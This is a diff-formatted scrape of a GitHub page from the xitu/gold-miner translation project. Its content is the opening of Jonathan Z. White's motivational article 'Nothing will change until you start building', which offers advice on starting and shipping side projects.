-            data-ga-click="Repository, click Watch settings, action:blob#show">
-            <span class="js-select-button">
-              <svg aria-hidden="true" class="octicon octicon-eye" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg>
-              Watch
-            </span>
-          </a>
-          <a class="social-count js-social-count"
-            href="/xitu/gold-miner/watchers"
-            aria-label="462 users are watching this repository">
-            462
-          </a>
-
-        <div class="select-menu-modal-holder">
-          <div class="select-menu-modal subscription-menu-modal js-menu-content">
-            <div class="select-menu-header js-navigation-enable" tabindex="-1">
-              <svg aria-label="Close" class="octicon octicon-x js-menu-close" height="16" role="img" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
-              <span class="select-menu-title">Notifications</span>
-            </div>
-
-              <div class="select-menu-list js-navigation-container" role="menu">
-
-                <div class="select-menu-item js-navigation-item selected" role="menuitem" tabindex="0">
-                  <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
-                  <div class="select-menu-item-text">
-                    <input checked="checked" id="do_included" name="do" type="radio" value="included" />
-                    <span class="select-menu-item-heading">Not watching</span>
-                    <span class="description">Be notified when participating or @mentioned.</span>
-                    <span class="js-select-button-text hidden-select-button-text">
-                      <svg aria-hidden="true" class="octicon octicon-eye" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg>
-                      Watch
-                    </span>
-                  </div>
-                </div>
-
-                <div class="select-menu-item js-navigation-item " role="menuitem" tabindex="0">
-                  <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
-                  <div class="select-menu-item-text">
-                    <input id="do_subscribed" name="do" type="radio" value="subscribed" />
-                    <span class="select-menu-item-heading">Watching</span>
-                    <span class="description">Be notified of all conversations.</span>
-                    <span class="js-select-button-text hidden-select-button-text">
-                      <svg aria-hidden="true" class="octicon octicon-eye" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg>
-                      Unwatch
-                    </span>
-                  </div>
-                </div>
-
-                <div class="select-menu-item js-navigation-item " role="menuitem" tabindex="0">
-                  <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
-                  <div class="select-menu-item-text">
-                    <input id="do_ignore" name="do" type="radio" value="ignore" />
-                    <span class="select-menu-item-heading">Ignoring</span>
-                    <span class="description">Never be notified.</span>
-                    <span class="js-select-button-text hidden-select-button-text">
-                      <svg aria-hidden="true" class="octicon octicon-mute" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8 2.81v10.38c0 .67-.81 1-1.28.53L3 10H1c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h2l3.72-3.72C7.19 1.81 8 2.14 8 2.81zm7.53 3.22l-1.06-1.06-1.97 1.97-1.97-1.97-1.06 1.06L11.44 8 9.47 9.97l1.06 1.06 1.97-1.97 1.97 1.97 1.06-1.06L13.56 8l1.97-1.97z"/></svg>
-                      Stop ignoring
-                    </span>
-                  </div>
-                </div>
-
-              </div>
-
-            </div>
-          </div>
-        </div>
-</form>
-  </li>
-
-  <li>
-      <div class="js-toggler-container js-social-container starring-container ">
-    <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/xitu/gold-miner/unstar" class="starred" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="Vbb5giV5PDKegi/FwGV1kqMnbd2hoIWaYjU7Rw+/YYfkL7b+T8B0TkBE2PRGi4Hx/86arLTvzjbB7DbUs+SJbg==" /></div>
-      <button
-        type="submit"
-        class="btn btn-sm btn-with-count js-toggler-target"
-        aria-label="Unstar this repository" title="Unstar xitu/gold-miner"
-        data-ga-click="Repository, click unstar button, action:blob#show; text:Unstar">
-        <svg aria-hidden="true" class="octicon octicon-star" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74z"/></svg>
-        Unstar
-      </button>
-        <a class="social-count js-social-count" href="/xitu/gold-miner/stargazers"
-           aria-label="6974 users starred this repository">
-          6,974
-        </a>
-</form>
-    <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/xitu/gold-miner/star" class="unstarred" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="U92FB2VJVGegV1HwfmmfxnvT55FLhzhRyx9MLmgaytM3pABnjQSOb7B1Op2UzI0ZwDfUkIa/HnZAq5QoJWawPg==" /></div>
-      <button
-        type="submit"
-        class="btn btn-sm btn-with-count js-toggler-target"
-        aria-label="Star this repository" title="Star xitu/gold-miner"
-        data-ga-click="Repository, click star button, action:blob#show; text:Star">
-        <svg aria-hidden="true" class="octicon octicon-star" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74z"/></svg>
-        Star
-      </button>
-        <a class="social-count js-social-count" href="/xitu/gold-miner/stargazers"
-           aria-label="6974 users starred this repository">
-          6,974
-        </a>
-</form>  </div>
-
-  </li>
-
-  <li>
-          <a href="#fork-destination-box" class="btn btn-sm btn-with-count"
-              title="Fork your own copy of xitu/gold-miner to your account"
-              aria-label="Fork your own copy of xitu/gold-miner to your account"
-              rel="facebox"
-              data-ga-click="Repository, show fork modal, action:blob#show; text:Fork">
-              <svg aria-hidden="true" class="octicon octicon-repo-forked" height="16" version="1.1" viewBox="0 0 10 16" width="10"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993 1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg>
-            Fork
-          </a>
-
-          <div id="fork-destination-box" style="display: none;">
-            <h2 class="facebox-header" data-facebox-id="facebox-header">Where should we fork this repository?</h2>
-            <include-fragment src=""
-                class="js-fork-select-fragment fork-select-fragment"
-                data-url="/xitu/gold-miner/fork?fragment=1">
-              <img alt="Loading" height="64" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-128.gif" width="64" />
-            </include-fragment>
-          </div>
-
-    <a href="/xitu/gold-miner/network" class="social-count"
-       aria-label="1335 users forked this repository">
-      1,335
-    </a>
-  </li>
-</ul>
-
-      <h1 class="public ">
-  <svg aria-hidden="true" class="octicon octicon-repo" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg>
-  <span class="author" itemprop="author"><a href="/xitu" class="url fn" rel="author">xitu</a></span><!--
---><span class="path-divider">/</span><!--
---><strong itemprop="name"><a href="/xitu/gold-miner" data-pjax="#js-repo-pjax-container">gold-miner</a></strong>
-
-</h1>
-
-    </div>
-    <div class="container">
-      
-<nav class="reponav js-repo-nav js-sidenav-container-pjax"
-     itemscope
-     itemtype="http://schema.org/BreadcrumbList"
-     role="navigation"
-     data-pjax="#js-repo-pjax-container">
-
-  <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement">
-    <a href="/xitu/gold-miner" class="js-selected-navigation-item selected reponav-item" data-hotkey="g c" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches /xitu/gold-miner" itemprop="url">
-      <svg aria-hidden="true" class="octicon octicon-code" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14 8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"/></svg>
-      <span itemprop="name">Code</span>
-      <meta itemprop="position" content="1">
-</a>  </span>
-
-    <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement">
-      <a href="/xitu/gold-miner/issues" class="js-selected-navigation-item reponav-item" data-hotkey="g i" data-selected-links="repo_issues repo_labels repo_milestones /xitu/gold-miner/issues" itemprop="url">
-        <svg aria-hidden="true" class="octicon octicon-issue-opened" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"/></svg>
-        <span itemprop="name">Issues</span>
-        <span class="counter">46</span>
-        <meta itemprop="position" content="2">
-</a>    </span>
-
-  <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement">
-    <a href="/xitu/gold-miner/pulls" class="js-selected-navigation-item reponav-item" data-hotkey="g p" data-selected-links="repo_pulls /xitu/gold-miner/pulls" itemprop="url">
-      <svg aria-hidden="true" class="octicon octicon-git-pull-request" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M11 11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3 3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993 1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1 3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg>
-      <span itemprop="name">Pull requests</span>
-      <span class="counter">15</span>
-      <meta itemprop="position" content="3">
-</a>  </span>
-
-    <a href="/xitu/gold-miner/projects" class="js-selected-navigation-item reponav-item" data-selected-links="repo_projects new_repo_project repo_project /xitu/gold-miner/projects">
-      <svg aria-hidden="true" class="octicon octicon-project" height="16" version="1.1" viewBox="0 0 15 16" width="15"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg>
-      Projects
-      <span class="counter">0</span>
-</a>
-    <a href="/xitu/gold-miner/wiki" class="js-selected-navigation-item reponav-item" data-hotkey="g w" data-selected-links="repo_wiki /xitu/gold-miner/wiki">
-      <svg aria-hidden="true" class="octicon octicon-book" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M3 5h4v1H3V5zm0 3h4V7H3v1zm0 2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1 1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45 1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z"/></svg>
-      Wiki
-</a>
-
-  <a href="/xitu/gold-miner/pulse" class="js-selected-navigation-item reponav-item" data-selected-links="pulse /xitu/gold-miner/pulse">
-    <svg aria-hidden="true" class="octicon octicon-pulse" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M11.5 8L8.8 5.4 6.6 8.5 5.5 1.6 2.38 8H0v2h3.6l.9-1.8.9 5.4L9 8.5l1.6 1.5H14V8z"/></svg>
-    Pulse
-</a>
-  <a href="/xitu/gold-miner/graphs" class="js-selected-navigation-item reponav-item" data-selected-links="repo_graphs repo_contributors /xitu/gold-miner/graphs">
-    <svg aria-hidden="true" class="octicon octicon-graph" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4 0H7V3h2v10zm4 0h-2V6h2v7z"/></svg>
-    Graphs
-</a>
-
-</nav>
-
-    </div>
-  </div>
-
-<div class="container new-discussion-timeline experiment-repo-nav">
-  <div class="repository-content">
-
-    
-          
-
-<a href="/xitu/gold-miner/blob/c7230b4ac0ba734d2c4062851c97149fcf7a2270/TODO/nothing-will-change-until-you-start-building.md" class="d-none js-permalink-shortcut" data-hotkey="y">Permalink</a>
-
-<!-- blob contrib key: blob_contributors:v21:c4c0c50c5d6e234eb6b94bc9f01381ab -->
-
-<div class="file-navigation js-zeroclipboard-container">
-  
-<div class="select-menu branch-select-menu js-menu-container js-select-menu float-left">
-  <button class=" btn btn-sm select-menu-button js-menu-target css-truncate" data-hotkey="w"
-    
-    type="button" aria-label="Switch branches or tags" tabindex="0" aria-haspopup="true">
-      <i>Branch:</i>
-      <span class="js-select-button css-truncate-target">master</span>
-  </button>
-
-  <div class="select-menu-modal-holder js-menu-content js-navigation-container" data-pjax>
-
-    <div class="select-menu-modal">
-      <div class="select-menu-header">
-        <svg aria-label="Close" class="octicon octicon-x js-menu-close" height="16" role="img" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
-        <span class="select-menu-title">Switch branches/tags</span>
-      </div>
-
-      <div class="select-menu-filters">
-        <div class="select-menu-text-filter">
-          <input type="text" aria-label="Filter branches/tags" id="context-commitish-filter-field" class="form-control js-filterable-field js-navigation-enable" placeholder="Filter branches/tags">
-        </div>
-        <div class="select-menu-tabs">
-          <ul>
-            <li class="select-menu-tab">
-              <a href="#" data-tab-filter="branches" data-filter-placeholder="Filter branches/tags" class="js-select-menu-tab" role="tab">Branches</a>
-            </li>
-            <li class="select-menu-tab">
-              <a href="#" data-tab-filter="tags" data-filter-placeholder="Find a tag…" class="js-select-menu-tab" role="tab">Tags</a>
-            </li>
-          </ul>
-        </div>
-      </div>
-
-      <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="branches" role="menu">
-
-        <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring">
-
-
-            <a class="select-menu-item js-navigation-item js-navigation-open selected"
-               href="/xitu/gold-miner/blob/master/TODO/nothing-will-change-until-you-start-building.md"
-               data-name="master"
-               data-skip-pjax="true"
-               rel="nofollow">
-              <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
-              <span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
-                master
-              </span>
-            </a>
-        </div>
-
-          <div class="select-menu-no-results">Nothing to show</div>
-      </div>
-
-      <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="tags">
-        <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring">
-
-
-        </div>
-
-        <div class="select-menu-no-results">Nothing to show</div>
-      </div>
-
-    </div>
-  </div>
-</div>
-
-  <div class="BtnGroup float-right">
-    <a href="/xitu/gold-miner/find/master"
-          class="js-pjax-capture-input btn btn-sm BtnGroup-item"
-          data-pjax
-          data-hotkey="t">
-      Find file
-    </a>
-    <button aria-label="Copy file path to clipboard" class="js-zeroclipboard btn btn-sm BtnGroup-item tooltipped tooltipped-s" data-copied-hint="Copied!" type="button">Copy path</button>
-  </div>
-  <div class="breadcrumb js-zeroclipboard-target">
-    <span class="repo-root js-repo-root"><span class="js-path-segment"><a href="/xitu/gold-miner"><span>gold-miner</span></a></span></span><span class="separator">/</span><span class="js-path-segment"><a href="/xitu/gold-miner/tree/master/TODO"><span>TODO</span></a></span><span class="separator">/</span><strong class="final-path">nothing-will-change-until-you-start-building.md</strong>
-  </div>
-</div>
-
-
-
-  <div class="commit-tease">
-      <span class="float-right">
-        <a class="commit-tease-sha" href="/xitu/gold-miner/commit/e1c20be99f149fe407434f3b26ff388cbf3dc9fa" data-pjax>
-          e1c20be
-        </a>
-        <relative-time datetime="2017-03-31T03:11:10Z">Mar 30, 2017</relative-time>
-      </span>
-      <div>
-        <img alt="@sqrthree" class="avatar" height="20" src="https://avatars2.githubusercontent.com/u/8622362?v=3&amp;s=40" width="20" />
-        <a href="/sqrthree" class="user-mention" rel="contributor">sqrthree</a>
-          <a href="/xitu/gold-miner/commit/e1c20be99f149fe407434f3b26ff388cbf3dc9fa" class="message" data-pjax="true" title="fix typos">fix typos</a>
-      </div>
-
-    <div class="commit-tease-contributors">
-      <button type="button" class="btn-link muted-link contributors-toggle" data-facebox="#blob_contributors_box">
-        <strong>1</strong>
-         contributor
-      </button>
-      
-    </div>
-
-    <div id="blob_contributors_box" style="display:none">
-      <h2 class="facebox-header" data-facebox-id="facebox-header">Users who have contributed to this file</h2>
-      <ul class="facebox-user-list" data-facebox-id="facebox-description">
-          <li class="facebox-user-list-item">
-            <img alt="@sqrthree" height="24" src="https://avatars0.githubusercontent.com/u/8622362?v=3&amp;s=48" width="24" />
-            <a href="/sqrthree">sqrthree</a>
-          </li>
-      </ul>
-    </div>
-  </div>
-
-<div class="file">
-  <div class="file-header">
-  <div class="file-actions">
-
-    <div class="BtnGroup">
-      <a href="/xitu/gold-miner/raw/master/TODO/nothing-will-change-until-you-start-building.md" class="btn btn-sm BtnGroup-item" id="raw-url">Raw</a>
-        <a href="/xitu/gold-miner/blame/master/TODO/nothing-will-change-until-you-start-building.md" class="btn btn-sm js-update-url-with-hash BtnGroup-item" data-hotkey="b">Blame</a>
-      <a href="/xitu/gold-miner/commits/master/TODO/nothing-will-change-until-you-start-building.md" class="btn btn-sm BtnGroup-item" rel="nofollow">History</a>
-    </div>
-
-        <a class="btn-octicon tooltipped tooltipped-nw"
-           href="https://mac.github.com"
-           aria-label="Open this file in GitHub Desktop"
-           data-ga-click="Repository, open with desktop, type:mac">
-            <svg aria-hidden="true" class="octicon octicon-device-desktop" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M15 2H1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5.34c-.25.61-.86 1.39-2.34 2h8c-1.48-.61-2.09-1.39-2.34-2H15c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm0 9H1V3h14v8z"/></svg>
-        </a>
-
-        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/xitu/gold-miner/edit/master/TODO/nothing-will-change-until-you-start-building.md" class="inline-form js-update-url-with-hash" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="5XYfK4zhbDKdWmsworakoK6uJxK5PXVEzh/XAj06fgXScKQN2D18F0Ligg35nzh0zD9LWCX1rt+B1MDaSdwtJA==" /></div>
-          <button class="btn-octicon tooltipped tooltipped-nw" type="submit"
-            aria-label="Edit the file in your fork of this project" data-hotkey="e" data-disable-with>
-            <svg aria-hidden="true" class="octicon octicon-pencil" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M0 12v3h3l8-8-3-3-8 8zm3 2H1v-2h1v1h1v1zm10.3-9.3L12 6 9 3l1.3-1.3a.996.996 0 0 1 1.41 0l1.59 1.59c.39.39.39 1.02 0 1.41z"/></svg>
-          </button>
-</form>        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/xitu/gold-miner/delete/master/TODO/nothing-will-change-until-you-start-building.md" class="inline-form" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="2nWumd+74wD3msFyFV4nr1+pbxK1P6DcAT0vzBtlQFfNPqEcNXt9klQmV9C/QuZTbnYdgsAlGoFBNBRAZuwFyw==" /></div>
-          <button class="btn-octicon btn-octicon-danger tooltipped tooltipped-nw" type="submit"
-            aria-label="Delete the file in your fork of this project" data-disable-with>
-            <svg aria-hidden="true" class="octicon octicon-trashcan" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M11 2H9c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1H2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1v9c0 .55.45 1 1 1h7c.55 0 1-.45 1-1V5c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm-1 12H3V5h1v8h1V5h1v8h1V5h1v8h1V5h1v9zm1-10H2V3h9v1z"/></svg>
-          </button>
-</form>  </div>
-
-  <div class="file-info">
-      91 lines (47 sloc)
-      <span class="file-info-divider"></span>
-    7.52 KB
-  </div>
-</div>
-
-  
-  <div id="readme" class="readme blob instapaper_body">
-    <article class="markdown-body entry-content" itemprop="text"><blockquote>
-<ul>
-<li>原文地址：<a href="https://medium.freecodecamp.com/nothing-will-change-until-you-start-building-2681e85e7bdc">Nothing will change until you start building.</a></li>
-<li>原文作者：<a href="https://medium.freecodecamp.com/@JonathanZWhite?source=post_header_lockup">Jonathan Z. White</a></li>
-<li>译文出自：<a href="https://github.com/xitu/gold-miner">掘金翻译计划</a></li>
-<li>译者：</li>
-<li>校对者：</li>
-</ul>
-</blockquote>
-<hr>
-<p><a href="https://camo.githubusercontent.com/7cb6139a0d4bcfdbcb42a8ba19fb50647b190b8d/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f313030302f312a457748706e435a373046744a4d692d6c4e536c2d39512e706e67" target="_blank"><img src="https://camo.githubusercontent.com/7cb6139a0d4bcfdbcb42a8ba19fb50647b190b8d/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f313030302f312a457748706e435a373046744a4d692d6c4e536c2d39512e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/1000/1*EwHpnCZ70FtJMi-lNSl-9Q.png" style="max-width:100%;"></a></p>
-<h1><a id="user-content-nothing-will-change-until-you-start-building" class="anchor" href="#nothing-will-change-until-you-start-building" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nothing will change until you start building.</h1>
-<p>This past week, I was in a Lyft. My driver was telling me about all of her ideas for side projects. She had ideas for a children’s book, an app that helps people find parking, and a more efficient way to package gifts. The problem was she was frozen by indecision. She had the ideas but she didn’t know where to start.</p>
-<p>This is what I told her. <strong>Start by building. Pick one project and do whatever you have to do to ship it.</strong> If you want to write a book, start with writing a page a day. If you want to build an app, start with some sketches. Anyone can do it.</p>
-<p>This advice applies to all creators. Once you start building and launching your projects, you won’t be able to stop. Building will become part of your identity. And even if your project fails, you’ll keep at it.</p>
-<p>The steps you take today will compound over time. Look at great product makers like <a href="https://twitter.com/drewwilson">Drew Wilson</a>, <a href="https://twitter.com/levelsio?">Pieter Levels</a>, and <a href="https://twitter.com/Sebyddd">Sebastian Dobrincu</a>. <strong>They don’t wait for the right opportunity.</strong> They build and ship weekly.</p>
-<p>In an interview on <a href="https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics">IndieHackers</a>, <a href="https://twitter.com/Shpigford">Josh Pigford</a> disclosed that before he built Baremetrics, he had iterated through a <em>hundred</em> failed ideas. Today, Baremetrics makes over 60,000 in monthly recurring revenue.</p>
-<p><a href="https://camo.githubusercontent.com/be82f0bdb1d430e3a974b37172a1da48f58f2f72/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a427a6d566171414b457a4e527962556d4d594f7864412e706e67" target="_blank"><img src="https://camo.githubusercontent.com/be82f0bdb1d430e3a974b37172a1da48f58f2f72/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a427a6d566171414b457a4e527962556d4d594f7864412e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/800/1*BzmVaqAKEzNRybUmMYOxdA.png" style="max-width:100%;"></a></p>
-<p>With that in mind, here are some tactics I’ve compiled from friends and acquaintances who are successful product makers.</p>
-<hr>
-<h3><a id="user-content-1-define-your-goal" class="anchor" href="#1-define-your-goal" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>1. Define your goal</h3>
-<p>Early on, figure out the main goal of your project. If you want to break out of your usual design style, focus on the design. If you want to test a new framework for your front-end, focus on the code. If you want to acquire a hundred users, focus on selling.</p>
-<p><strong>Define your goal early so you don’t get distracted and end up not achieving what you set out to do.</strong> Perhaps your project doesn’t become the next Snapchat, but by working towards your goal you will have honed the tools in your product-making arsenal. Little by little, you’ll be able to design, code, and sell faster and more efficiently.</p>
